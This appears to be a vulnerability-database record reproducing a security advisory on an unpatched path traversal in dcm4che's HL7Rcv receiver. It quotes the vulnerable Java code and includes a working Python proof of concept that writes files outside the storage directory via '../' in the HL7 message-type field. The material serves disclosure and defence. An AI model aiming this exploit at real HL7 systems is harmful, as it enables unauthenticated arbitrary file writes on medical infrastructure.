GCVE-1988-2026-0476
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-078
Product: dcm4che
Manufacturer: J4Care
Affected Version(s): 5.35.0
Tested Version(s): 5.35.0
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-08-06
Public Disclosure: 2026-10-13
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
and transmitting DICOM data (see [1]).
The HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal
attack. An attacker who can send HL7 MLLP messages to a running HL7Rcv
server can write arbitrary files outside the configured storage directory
by injecting "../" sequences into the HL7 MSH-9 (Message Type) field.
This allows unauthenticated remote attackers to achieve arbitrary file
write on the target system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol
(MLLP) via TCP. When a message is received and stored, the HL7 message type
field (MSH-9) is used directly as a directory name in a file constructor
without any path sanitization (see HL7Rcv.java:254-259):
private UnparsedHL7Message onMessage(UnparsedHL7Message msg)
throws Exception {
if (storageDir != null)
storeToFile(msg.data(), new File(
new File(storageDir, msg.msh().getMessageType()),
useUUIDForFilename
? UUID.randomUUID().toString()
: msg.msh().getField(9, "_NULL_")));
The getMessageType() method (HL7Segment.java) returns the raw MSH-9 field
value verbatim. If an attacker sends an HL7 message where MSH-9 contains
path traversal sequences (e.g. "../outside"), the resulting file path
escapes the configured storage directory.
The storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to
create the traversed directory structure and writes the file:
private void storeToFile(byte[] data, File f) throws IOException {
Connection.LOG.info("M-WRITE {}", f);
f.getParentFile().mkdirs();
try (FileOutputStream out = new FileOutputStream(f)) {
out.write(data);
}
}
No path normalization or boundary check is performed.
The MSH-10 (Message Control ID) field is used as the leaf filename, so the
attacker controls both the traversal path (MSH-9) and the filename (MSH-10).
Because HL7 MLLP carries no authentication, this attack can be executed
from any network location with access to the HL7Rcv TCP port. A raw TCP
connection sending a well-formed HL7 message with the MLLP framing bytes
(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.
The root cause is the missing validation of the MSH-9 field value before
it is used as a file path component.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The path traversal can be demonstrated by sending a crafted HL7 message
over a raw TCP connection using the following Python script.
The storage directory (in this example "/tmp/hl7storage") has to be
created before starting hl7rcv and running the PoC exploit.
cat > poc.py << 'EOF'
#!/usr/bin/env python3
import socket, os
# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018
# Malicious HL7 message with path traversal in MSH-9 (directory)
# and attacker-controlled filename in MSH-10 (Message Control ID)
hl7 = ("MSH|^~\\&|SEND|-|RECV|-|"
"20240101000000||../outside_hl7|exploit.log|P|2.5\r"
"PID|1||12345||Test^Patient\r")
mllp = b"\x0b" + hl7.encode("ascii") + b"\x1c\r"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 25018))
sock.sendall(mllp)
ack = sock.recv(4096)
sock.close()
# Verify: file written at /tmp/outside_hl7/exploit.log
print(os.path.exists("/tmp/outside_hl7/exploit.log"))
EOF
The file is written to /tmp/outside_hl7/exploit.log, one directory level
above the configured storage directory, confirming the path traversal.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-08-06: Vulnerability reported to manufacturer
2026-09-04: Vulnerability reported to manufacturer again
2026-10-13: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] dcm4che project website
https://www.dcm4che.org/
[2] SySS Security Advisory SYSS-2026-078
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "dcm4che",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-078\nProduct: dcm4che\nManufacturer: J4Care\nAffected Version(s): 5.35.0\nTested Version(s): 5.35.0\n\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure: 2026-10-13\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send HL7 MLLP messages to a running HL7Rcv\nserver can write arbitrary files outside the configured storage directory\nby injecting \"../\" sequences into the HL7 MSH-9 (Message Type) field.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file\nwrite on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol\n(MLLP) via TCP. When a message is received and stored, the HL7 message type\nfield (MSH-9) is used directly as a directory name in a file constructor\nwithout any path sanitization (see HL7Rcv.java:254-259):\n\n private UnparsedHL7Message onMessage(UnparsedHL7Message msg)\n throws Exception {\n if (storageDir != null)\n storeToFile(msg.data(), new File(\n new File(storageDir, msg.msh().getMessageType()),\n useUUIDForFilename\n ? UUID.randomUUID().toString()\n : msg.msh().getField(9, \"_NULL_\")));\n\nThe getMessageType() method (HL7Segment.java) returns the raw MSH-9 field\nvalue verbatim. If an attacker sends an HL7 message where MSH-9 contains\npath traversal sequences (e.g. \"../outside\"), the resulting file path\nescapes the configured storage directory.\n\nThe storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to\ncreate the traversed directory structure and writes the file:\n\n private void storeToFile(byte[] data, File f) throws IOException {\n Connection.LOG.info(\"M-WRITE {}\", f);\n f.getParentFile().mkdirs();\n try (FileOutputStream out = new FileOutputStream(f)) {\n out.write(data);\n }\n }\n\nNo path normalization or boundary check is performed.\n\nThe MSH-10 (Message Control ID) field is used as the leaf filename, so the\nattacker controls both the traversal path (MSH-9) and the filename (MSH-10).\n\nBecause HL7 MLLP carries no authentication, this attack can be executed\nfrom any network location with access to the HL7Rcv TCP port. A raw TCP\nconnection sending a well-formed HL7 message with the MLLP framing bytes\n(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.\n\nThe root cause is the missing validation of the MSH-9 field value before\nit is used as a file path component.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by sending a crafted HL7 message\nover a raw TCP connection using the following Python script.\n\nThe storage directory (in this example \"/tmp/hl7storage\") has to be\ncreated before starting hl7rcv and running the PoC exploit.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport socket, os\n\n# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018\n\n# Malicious HL7 message with path traversal in MSH-9 (directory)\n# and attacker-controlled filename in MSH-10 (Message Control ID)\nhl7 = (\"MSH|^~\\\\\u0026|SEND|-|RECV|-|\"\n \"20240101000000||../outside_hl7|exploit.log|P|2.5\\r\"\n \"PID|1||12345||Test^Patient\\r\")\nmllp = b\"\\x0b\" + hl7.encode(\"ascii\") + b\"\\x1c\\r\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((\"127.0.0.1\", 25018))\nsock.sendall(mllp)\nack = sock.recv(4096)\nsock.close()\n\n# Verify: file written at /tmp/outside_hl7/exploit.log\nprint(os.path.exists(\"/tmp/outside_hl7/exploit.log\"))\nEOF\n\nThe file is written to /tmp/outside_hl7/exploit.log, one directory level\nabove the configured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-078\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/23"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dcm4che.org/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/23"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0476",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23",
"automated": true,
"contentSha256": "575414783a3eb59f3c12e6ea860c192d4263d03b4d70b718862a384dcc059744",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-15T07:32:05Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:01Z",
"dateUpdated": "2026-11-02T07:30:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0476"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.